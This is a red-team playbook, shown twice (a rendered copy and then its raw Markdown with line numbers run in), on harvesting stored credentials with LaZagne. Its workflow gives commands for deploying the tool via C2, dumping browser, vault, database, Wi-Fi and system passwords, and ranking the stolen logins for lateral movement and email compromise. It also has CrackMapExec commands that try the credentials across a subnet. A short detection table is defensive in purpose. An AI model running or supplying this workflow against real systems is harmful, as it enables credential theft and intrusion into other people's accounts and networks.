Performing Credential Access with LaZagne
Overview
LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.
When to Use
- When conducting security assessments that involve performing credential access with lazagne
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
- Extract credentials from all supported password stores
- Parse and prioritize recovered credentials for lateral movement
- Identify high-value credentials (domain admin, service accounts, cloud access)
- Document credential harvesting results with appropriate evidence handling
- Correlate recovered credentials with BloodHound attack paths
MITRE ATT&CK Mapping
- T1555 - Credentials from Password Stores
- T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
- T1555.004 - Credentials from Password Stores: Windows Credential Manager
- T1552.001 - Unsecured Credentials: Credentials In Files
- T1552.002 - Unsecured Credentials: Credentials in Registry
- T1003.004 - OS Credential Dumping: LSA Secrets
- T1539 - Steal Web Session Cookie
Workflow
Phase 1: LaZagne Deployment
- Transfer LaZagne to the compromised host:
# Pre-compiled executable (Windows)
# Transfer lazagne.exe via C2 channel or file upload
# Python version (requires Python on target)
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne
pip install -r requirements.txt
- Verify execution capability and privileges:
# Check current user context
whoami /priv
# LaZagne works with standard user privileges for user-level stores
# SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
Phase 2: Full Credential Extraction (Windows)
- Run LaZagne with all modules:
# Extract all credentials
lazagne.exe all
# Export results to JSON
lazagne.exe all -oJ
# Export results to specific file
lazagne.exe all -oJ -output C:\Temp\creds
- Run specific modules for targeted extraction:
# Browsers only (Chrome, Firefox, Edge, Opera, IE)
lazagne.exe browsers
# Windows credential stores
lazagne.exe windows
# Database credentials
lazagne.exe databases
# Email client credentials
lazagne.exe mails
# Wi-Fi passwords
lazagne.exe wifi
# Git credentials
lazagne.exe git
# System credentials (requires elevated privileges)
lazagne.exe sysadmin
Phase 3: Credential Extraction (Linux)
- Run LaZagne on Linux targets:
# Full extraction
python3 laZagne.py all
# Browser credentials
python3 laZagne.py browsers
# System credentials (SSH keys, shadow file with root)
python3 laZagne.py sysadmin
# Database credentials
python3 laZagne.py databases
# Git credentials
python3 laZagne.py git
Phase 4: Credential Analysis and Prioritization
- Parse JSON output for unique credentials:
import json
with open("creds.json") as f:
results = json.load(f)
for module in results:
for entry in module.get("results", []):
print(f"Source: {entry.get('Category')}")
print(f" User: {entry.get('Login', 'N/A')}")
print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
- Prioritize credentials by value:
- Domain credentials (AD accounts) for lateral movement
- Cloud service credentials (AWS, Azure, GCP console)
- VPN and remote access credentials
- Database credentials for data access
- Email credentials for business email compromise
- Service account credentials for privilege escalation
Phase 5: Credential Validation and Use
- Validate recovered domain credentials:
# Test domain credentials with CrackMapExec
crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
# Test with Impacket
smbclient.py domain.local/user:'password'@10.10.10.1
- Cross-reference with BloodHound paths for high-value targets
- Use recovered credentials for lateral movement or privilege escalation
Tools and Resources
| Tool |
Purpose |
Platform |
| LaZagne |
Multi-source credential extraction |
Windows/Linux/macOS |
| Mimikatz |
LSASS/DPAPI credential dumping |
Windows |
| SharpChrome |
Chrome credential extraction (.NET) |
Windows |
| SharpDPAPI |
DPAPI credential decryption |
Windows |
| CrackMapExec |
Credential validation and spraying |
Linux |
| Impacket |
Remote credential testing |
Linux (Python) |
LaZagne Module Coverage (Windows)
| Category |
Modules |
| Browsers |
Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |
| Email |
Outlook, Thunderbird, Foxmail |
| Databases |
PostgreSQL, MySQL, SQLiteDB, Robomongo |
| Sysadmin |
PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |
| Windows |
Credential Manager, Vault, DPAPI, Autologon |
| WiFi |
Stored Wi-Fi passwords |
| Git |
Git Credential Store, Git Credential Manager |
| SVN |
TortoiseSVN |
| Chat |
Pidgin, Skype |
Detection Signatures
| Indicator |
Detection Method |
| LaZagne.exe process execution |
EDR process monitoring with hash-based detection |
| Access to Chrome Login Data SQLite DB |
File access monitoring on browser credential stores |
| DPAPI CryptUnprotectData API calls |
API hooking and ETW tracing |
| Access to Windows Credential Manager |
Event 5379 (Credential Manager read) |
| Mass credential store enumeration |
Behavioral analysis for sequential access patterns |
| Python interpreter accessing credential files |
Script block logging and file access auditing |
Validation Criteria
1---2name: crdntl-access-lazagne3description: Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.4license: Apache-2.05---6# Performing Credential Access with LaZagne78## Overview910LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.111213## When to Use1415- When conducting security assessments that involve performing credential access with lazagne16- When following incident response procedures for related security events17- When performing scheduled security testing or auditing activities18- When validating security controls through hands-on testing1920## Prerequisites2122- Familiarity with red teaming concepts and tools23- Access to a test or lab environment for safe execution24- Python 3.8+ with required dependencies installed25- Appropriate authorization for any testing activities2627## Objectives2829- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints30- Extract credentials from all supported password stores31- Parse and prioritize recovered credentials for lateral movement32- Identify high-value credentials (domain admin, service accounts, cloud access)33- Document credential harvesting results with appropriate evidence handling34- Correlate recovered credentials with BloodHound attack paths3536## MITRE ATT&CK Mapping3738- **T1555** - Credentials from Password Stores39- **T1555.003** - Credentials from Password Stores: Credentials from Web Browsers40- **T1555.004** - Credentials from Password Stores: Windows Credential Manager41- **T1552.001** - Unsecured Credentials: Credentials In Files42- **T1552.002** - Unsecured Credentials: Credentials in Registry43- **T1003.004** - OS Credential Dumping: LSA Secrets44- **T1539** - Steal Web Session Cookie4546## Workflow4748### Phase 1: LaZagne Deployment491. Transfer LaZagne to the compromised host:50 ```powershell51 # Pre-compiled executable (Windows)52 # Transfer lazagne.exe via C2 channel or file upload5354 # Python version (requires Python on target)55 git clone https://github.com/AlessandroZ/LaZagne.git56 cd LaZagne57 pip install -r requirements.txt58 ```592. Verify execution capability and privileges:60 ```powershell61 # Check current user context62 whoami /priv6364 # LaZagne works with standard user privileges for user-level stores65 # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM66 ```6768### Phase 2: Full Credential Extraction (Windows)691. Run LaZagne with all modules:70 ```powershell71 # Extract all credentials72 lazagne.exe all7374 # Export results to JSON75 lazagne.exe all -oJ7677 # Export results to specific file78 lazagne.exe all -oJ -output C:\Temp\creds79 ```802. Run specific modules for targeted extraction:81 ```powershell82 # Browsers only (Chrome, Firefox, Edge, Opera, IE)83 lazagne.exe browsers8485 # Windows credential stores86 lazagne.exe windows8788 # Database credentials89 lazagne.exe databases9091 # Email client credentials92 lazagne.exe mails9394 # Wi-Fi passwords95 lazagne.exe wifi9697 # Git credentials98 lazagne.exe git99100 # System credentials (requires elevated privileges)101 lazagne.exe sysadmin102 ```103104### Phase 3: Credential Extraction (Linux)1051. Run LaZagne on Linux targets:106 ```bash107 # Full extraction108 python3 laZagne.py all109110 # Browser credentials111 python3 laZagne.py browsers112113 # System credentials (SSH keys, shadow file with root)114 python3 laZagne.py sysadmin115116 # Database credentials117 python3 laZagne.py databases118119 # Git credentials120 python3 laZagne.py git121 ```122123### Phase 4: Credential Analysis and Prioritization1241. Parse JSON output for unique credentials:125 ```python126 import json127 with open("creds.json") as f:128 results = json.load(f)129 for module in results:130 for entry in module.get("results", []):131 print(f"Source: {entry.get('Category')}")132 print(f" User: {entry.get('Login', 'N/A')}")133 print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")134 ```1352. Prioritize credentials by value:136 - Domain credentials (AD accounts) for lateral movement137 - Cloud service credentials (AWS, Azure, GCP console)138 - VPN and remote access credentials139 - Database credentials for data access140 - Email credentials for business email compromise141 - Service account credentials for privilege escalation142143### Phase 5: Credential Validation and Use1441. Validate recovered domain credentials:145 ```bash146 # Test domain credentials with CrackMapExec147 crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'148149 # Test with Impacket150 smbclient.py domain.local/user:'password'@10.10.10.1151 ```1522. Cross-reference with BloodHound paths for high-value targets1533. Use recovered credentials for lateral movement or privilege escalation154155## Tools and Resources156157| Tool | Purpose | Platform |158|------|---------|----------|159| LaZagne | Multi-source credential extraction | Windows/Linux/macOS |160| Mimikatz | LSASS/DPAPI credential dumping | Windows |161| SharpChrome | Chrome credential extraction (.NET) | Windows |162| SharpDPAPI | DPAPI credential decryption | Windows |163| CrackMapExec | Credential validation and spraying | Linux |164| Impacket | Remote credential testing | Linux (Python) |165166## LaZagne Module Coverage (Windows)167168| Category | Modules |169|----------|---------|170| Browsers | Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |171| Email | Outlook, Thunderbird, Foxmail |172| Databases | PostgreSQL, MySQL, SQLiteDB, Robomongo |173| Sysadmin | PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |174| Windows | Credential Manager, Vault, DPAPI, Autologon |175| WiFi | Stored Wi-Fi passwords |176| Git | Git Credential Store, Git Credential Manager |177| SVN | TortoiseSVN |178| Chat | Pidgin, Skype |179180## Detection Signatures181182| Indicator | Detection Method |183|-----------|-----------------|184| LaZagne.exe process execution | EDR process monitoring with hash-based detection |185| Access to Chrome Login Data SQLite DB | File access monitoring on browser credential stores |186| DPAPI CryptUnprotectData API calls | API hooking and ETW tracing |187| Access to Windows Credential Manager | Event 5379 (Credential Manager read) |188| Mass credential store enumeration | Behavioral analysis for sequential access patterns |189| Python interpreter accessing credential files | Script block logging and file access auditing |190191## Validation Criteria192193- [ ] LaZagne deployed on compromised endpoint194- [ ] Full credential extraction completed (all modules)195- [ ] Credentials exported in JSON format for analysis196- [ ] Recovered credentials parsed and deduplicated197- [ ] High-value credentials identified and prioritized198- [ ] Domain credentials validated against AD199- [ ] Lateral movement opportunities identified from recovered creds200- [ ] Evidence documented with appropriate handling procedures